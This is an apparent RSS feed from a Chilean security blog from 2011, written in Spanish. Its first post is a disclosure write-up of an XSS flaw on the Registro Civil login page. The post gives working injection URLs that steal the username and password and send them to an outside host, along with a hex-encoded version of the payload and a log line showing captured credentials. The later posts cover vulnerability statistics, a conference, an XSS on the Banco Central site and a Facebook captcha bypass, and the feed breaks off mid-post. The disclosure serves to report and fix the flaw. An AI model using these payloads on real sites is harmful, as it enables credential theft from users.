<p>Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable &#8220;pag&#8221; y sobreescribir la función javascript &#8220;ingresar()&#8221;.</p>
<p>En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación</p>
<p><strong>El nombre de usuario/rut</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p><strong>La password</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón &#8220;Ingresar&#8221;, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.<br />
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos<br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc'; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert('rut: ' %2b _a %2b ' password: ' %2b _b); }&lt;/script&gt;&lt;script&gt;">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc&#8217;; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(&#8216;rut: &#8216; %2b _a %2b &#8216; password: &#8216; %2b _b); }&lt;/script&gt;&lt;script&gt;</a></p>
<p>Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png"><img class="aligncenter size-full wp-image-2823" title="regciv_certl_pwd" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png" alt="" width="554" height="414" /></a></p>
<p>Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.</p>
<p>Modificaremos la función &#8220;ingresar()&#8221; de forma tal que nos envie la información del formulario al dominio <strong>zerial.org</strong> (de pruebas), usando el siguiente código javascript:</p>
<pre name="code" class="c">pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}
<script></script></pre>
<p>Se lo inyectamos a la URL vulnerable:</p>
<p><a href=" https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E"></p>
<p>https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20</p>
<p>var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:</p>
<p><strong>x.x.x.x &#8211; - [xx/Nov/2011:xx:xx:xx -0300] &#8220;GET /PoC_RegCivil?tipoAyuda=&#038;runOI=1544345&#038;dvOI=&#038;passwordOI=prueba HTTP/1.1&#8243; 200 1529 &#8220;-&#8221;"</strong></p>
<p>Podemos ver donde dice <strong>runOI</strong> y <strong>passwordOI</strong>, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario</p>
<p><strong>RUT:</strong> 1544345<br />
<strong>Password:</strong> prueba</p>
<p>Finalmente, la URL maliciosa tendría la forma:</p>
<p><a href="http://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45</a></p>
<p>Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.</p>
<p><strong>ACTUALIZADO (3 de Diciembre):</strong> Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.</p>
<p>Como siempre, hay que hacer publicas las fallas para que le den solucion.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Frobo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/"  data-text="Robo de credenciales y suplantación de identidad en sitio web del Registro Civil" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Secureless: Estadisticas de sitios web vulnerables</title>
		<link>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/</link>
		<comments>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/#comments</comments>
		<pubDate>Mon, 28 Nov 2011 12:15:09 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[estadisticas]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidades web]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2777</guid>
		<description><![CDATA[En la conferencia de seguridad recien pasada, tuve la oportunidad de presentar el Proyecto Secureless, demostrando la realidad de las vulnerabilidades web de distintos sitios, por categoria, dominio y por tipo de organizacion. Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, [...]]]></description>
			<content:encoded><![CDATA[<p>En la conferencia de seguridad recien pasada, tuve la oportunidad de presentar el Proyecto <a href="http://secureless.org">Secureless</a>, demostrando la realidad de las vulnerabilidades web de distintos sitios, por categoria, dominio y por tipo de organizacion.</p>
<p>Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, hasta la fecha registramos aproximadamente 1058 sitios web, de distintos paises, distintos tipos de entidades (universidades, bancas, etc) y con distintos estados. Actualmente en Secureless manejamos 3 tipos de estados, las Reportadas, No Reportadas</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_estados.png"><img class="aligncenter size-full wp-image-2795" title="grafico_estados" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_estados.png" alt="" width="547" height="311" /></a></p>
<p>La diferencia que existe entre las <strong>Reportadas</strong> y las <strong>Sin Reportar</strong>, principalmente se da porque los sitios web no publican un correo o alguna forma de contacto para poder reportar este tipo de fallas, por lo general se limitan a poner un formulario de &#8220;consultas&#8221; y muchas veces en bancos, universidades o sitios del gobierno, hay que completar un formulario con cientos de campos obligatorios.</p>
<p>Los sitios web que realmente <strong>deberian</strong> tener este tipo de procedimiento como los bancos, Universidades o sitios del gobierno que manejen información sensible de personas, no lo hacen. Muchas veces debemos enviar el reporte a correos genericos y/o aleatorios como contacto@dominio, info@dominio o webmaster@dominio, sin tener respuesta.<br />
La relación que existe entre las Reportadas y las Solucionadas, nos demuestra que de alguna forma estamos apuntando para el lado correcto, ya que el 90% de las vulnerabilidades reportadas se solucionan.</p>
<p>De los tipos de vulnerabilidades, hay dos categorías que pelean el puesto para ser los que más sitios registran, el SQL Injection y al Cross-Site Scripting</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_cat.png"><img class="aligncenter size-full wp-image-2800" title="grafico_cat" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_cat.png" alt="" width="550" height="312" /></a>Es curioso, ya que una es <em>client-side</em> (xss) y la otra<em> server-side </em>(sql-i), pero ambas ocurren por una mala sanitización de los parametros de entrada.</p>
<p><span id="more-2777"></span></p>
<p>La que los sigue es Full Path Disclosure, una vulnerabilidad que por si sola no es muy critica y que muchas veces se le da la responsabilidad al encargado del servidor, que no deshabilita los errores o el debug, aunque segun yo, el programador debería ser capaz de manejar los errores y validar los parametros de entrada para evitar el <em>crash</em> de la aplicación y asi evitar cualquier tipo de error sin atajar. El tipico ejemplo, cuando modificamos los parametros por GET y transformamos una variable en un Array.</p>
<p>Si analizamos la cantidad de sitios por tipo de organización, nos encontramos con el siguiente gráfico:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_entidades.png"><img class="aligncenter size-full wp-image-2803" title="grafico_entidades" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_entidades.png" alt="" width="544" height="320" /></a></p>
<p>Las universidades son de las entidades (segun nuestro criterio) que más vulnerabilidades tienen, ya que muchas de ellas les abren espacios a sus <span style="text-decoration: line-through;">clientes</span> alumnos, por lo general un servidor compartido entre usuarios y en algunos casos extremos, un servidor compartido con aplicaciones de la universidad (intranets, etc).<br />
Luego viene los del gobierno, que mientras más sitios y sistemas ofrecen, menos control tienen sobre las aplicaciones y sobre los datos que manejan. Es muy comun en sistemas y sitios del gobierno encontrar tecnologias antiguas y en muchos casos, obsoletas.<br />
Con eCommerce, me refiero a sitios que ofrecen &#8220;comercio por internet&#8221;, como PC Factory, Falabella, Ripley, etc.<br />
Finalmente tenemos a los queridos Bancos, que sinceramente ellos ni si quiera deberian aparecer en este listado.</p>
<p>El último gráfico, corresponde a sitios segun su pais o dominio</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_dominio.png"><img class="aligncenter size-full wp-image-2807" title="grafico_dominio" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_dominio.png" alt="" width="556" height="325" /></a></p>
<p>No significa que Chile sea mas vulnerable que los otros, simplemente que en un principio nos dedicamos unicamente a almacenar sitios chilenos, pero poco a poco fuimos aceptando colaboraciones de otros paises y otros dominios.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fsecureless-estadisticas-de-sitios-web-vulnerables%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/"  data-text="Secureless: Estadisticas de sitios web vulnerables" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>8.8: Computer Security Conference Chile</title>
		<link>http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/</link>
		<comments>http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/#comments</comments>
		<pubDate>Tue, 22 Nov 2011 13:03:28 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Anecdotas]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2770</guid>
		<description><![CDATA[El pasado viernes 18 de noviembre se realizó la primera versión de la 8.8, una conferencia orientada a la seguridad informática y hacking. Tuve el agrado de exponer sobre el Proyecto Secureless, que llamó la atención de varios de los asistentes y gracias a eso logré tener contacto con distintas personas encargadas de la seguridad [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/88-Security-Conference-Chile.jpg"><img class="aligncenter size-full wp-image-2772" title="88-Security-Conference-Chile" src="http://blog.zerial.org/wp-content/uploads/2011/11/88-Security-Conference-Chile.jpg" alt="" width="580" height="422" /></a></p>
<p>El pasado viernes 18 de noviembre se realizó la primera versión de la 8.8, una conferencia orientada a la seguridad informática y hacking. Tuve el agrado de exponer sobre el Proyecto Secureless, que llamó la atención de varios de los asistentes y gracias a eso logré tener contacto con distintas personas encargadas de la seguridad o del area de informática de bancos, universidades, etc. Hubo charlas técnicas y otras no tanto, yo expuste, además de la presentación de Secureless, algo que ya había expuesto antes en otras conferencias, sobre Hacking Automatizado, básicamente la automatización de tareas mediante scripts en bash, php, python, etc.  De esta chalra no pude  mostrar todo por falta de conexión a internet.</p>
<p>De las cosas que mas me interesaron, fue &#8220;<em>﻿﻿﻿﻿Gaining Full System Access via Virtual Memory</em>&#8220;, que comenzó hablando sobre congelar la RAM para mantener la información  (Cryogenically frozen RAM) y que obviamente el escenario para explotar este tipo de cosas es bien complicado, ya que hay que tener acceso fisico, sin embargo, esto tambien sucede en las máquinas virtuales por ejemplo con VMWARE, que genera un archivo &#8220;.mem&#8221;, basta con hacer un dump de ese archivo y guardarlo para simular el &#8220;congelado&#8221;. Mediante este ataque, <strong>Thomas</strong> demostró que Linux es más inseguro que Windows en este sentido, por el simple hecho de que Windows es capaz de cifrar la información que está en la RAM, Linux no lo hace. Lo demostró leyendo el hash del archivo /etc/shadow desde la ram y también accediendo a la password en texto plano que se digitó para autenticarse en una shell.</p>
<p>Tambien me pareció interesante la charla de <strong>Marco</strong> Balduzzi quien hablaba sobre HTTP Parameter Pollution, que por el tipo de preguntas que se hicieron creo que no mucha gente entendio el sentido de HPP.</p>
<p>Más allá de las charlas, lo que más me gustó es que existiera la instancia de poder mirar cara a cara a los distintos responsables y tambien conocer a gente nueva que está interesada en todo este tema de la seguridad informática y hacking. Me dio mucho gusto conocer a varios de los que solo me había relacionado via email para reportar vulnerabilidades.</p>
<p>Nos vemos el 2012!</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2F8-8-computer-security-conference-chile%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/"  data-text="8.8: Computer Security Conference Chile" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Banco Central de Chile vulnerable a XSS</title>
		<link>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/</link>
		<comments>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 14:43:57 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco central]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2738</guid>
		<description><![CDATA[El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/logo_bcch.gif"><img class="aligncenter size-full wp-image-2740" title="logo_bcch" src="http://blog.zerial.org/wp-content/uploads/2011/10/logo_bcch.gif" alt="" width="139" height="139" /></a></p>
<p>El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un <strong>disclosure</strong> sobre las vulnerabilidades para denunciar este tipo de hechos.</p>
<p>El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.<br />
El XSS que encontré, está en el archvo <strong>rim/default.asp</strong> en el subdominio <strong>si2.bcentral.cl</strong>.</p>
<p>Como prueba de concepto, incrustaré un &#8216;iframe&#8217; con el sitio web de Google dentro del sitio del Banco Central</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss1.png"><img class="aligncenter size-full wp-image-2743" title="bcentral_xss1" src="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss1.png" alt="" width="583" height="593" /></a></p>
<p>Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio &#8220;<strong>seguro</strong>&#8220;.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss2.png"><img class="aligncenter size-full wp-image-2744" title="bcentral_xss2" src="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss2.png" alt="" width="241" height="27" /></a>Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.</p>
<p><span id="more-2738"></span></p>
<p>La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección &#8220;Base de datos economicos&#8221;, que al parecer ya ha sido corregido.</p>
<p>Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fbanco-central-de-chile-vulnerable-a-xss%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/"  data-text="Banco Central de Chile vulnerable a XSS" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>El captcha de Facebook es una farsa, no sirve y está de adorno!</title>
		<link>http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/</link>
		<comments>http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 18:31:04 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2710</guid>
		<description><![CDATA[Los captchas (Completely Automated Public Turing test to tell Computers and Humans Apart) son mecanismos de detección de robots o procesos automatizados que se conectan a nuestros sistemas y nos permite diferenciar entre humanos y maquinas. Muchas veces los captchas previenen registros masivos, bots que se dedican a recolectar información o bien intentos de ataques [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/facebook_captcha_fail.png"><img class="aligncenter size-full wp-image-2711" title="facebook_captcha_fail" src="http://blog.zerial.org/wp-content/uploads/2011/09/facebook_captcha_fail.png" alt="" width="319" height="247" /></a></p>
<p>Los captchas (<em>Completely Automated Public Turing test to tell Computers and Humans Apart</em>) son mecanismos de detección de robots o procesos automatizados que se conectan a nuestros sistemas y nos permite diferenciar entre humanos y maquinas. Muchas veces los captchas previenen registros masivos, bots que se dedican a recolectar información o bien intentos de ataques (por ejemplo fuerza bruta).</p>
<p>En el caso de <strong>Facebook</strong>, el captcha está de adorno. Manualmente, un usuario puede hacer uso de google para buscar personas y llegar a su página de Facebook, por ejemplo, buscamos a &#8220;Juan Perez&#8221; y llegamos a su perfil <a href="http://www.facebook.com/juan.perez">http://www.facebook.com/juan.perez</a>, Facebook nos mostrará un captcha para poder ver si perfil</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb.png"><img class="aligncenter size-full wp-image-2713" title="captcha_fb" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb.png" alt="" width="410" height="186" /></a></p>
<p>Si ingresamos las palabras que nos aparecen (iedshm, and) podremos ver un poco más sobre el usuario como su foto</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb2.png"><img class="aligncenter size-full wp-image-2714" title="captcha_fb2" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb2.png" alt="" width="471" height="146" /></a></p>
<p>Una persona debería poder ver este tipo de información si ingresa a facebook e ingresa el captcha correspondiente, para evitar que programas automatizados o bots se dediquen a recolectar información de los usuarios, pero la verdad es otra. <strong>El captcha de Facebook está de adorno</strong>.</p>
<p><span id="more-2710"></span></p>
<p>Hagamos el mismo ejercicio, busquemos a una persona en Google e ingresemos a su perfil en Facebook <a href="http://es-la.facebook.com/people/Paula-Rodriguez-Tortosa/1313407077">http://es-la.facebook.com/people/Paula-Rodriguez-Tortosa/1313407077</a> y Facebook nos muestra amablemente un captcha</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb3.png"><img class="aligncenter size-full wp-image-2716" title="captcha_fb3" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb3.png" alt="" width="553" height="190" /></a>¡<strong>Asombroso</strong>! Las eguridad de Facebook ha mejorado, ya que nos pide ingresar caracteres que no son alfa-numericos&#8230;. Ya, pero hablemos en serio.</p>
<p>Intentemos ingresar cualquier palabra a ver que pasa</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb4.png"><img class="aligncenter size-full wp-image-2717" title="captcha_fb4" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb4.png" alt="" width="482" height="174" /></a></p>
<p>Magicamente, sin ningun tipo de seguridad, nos muestra el perfil de la persona</p>
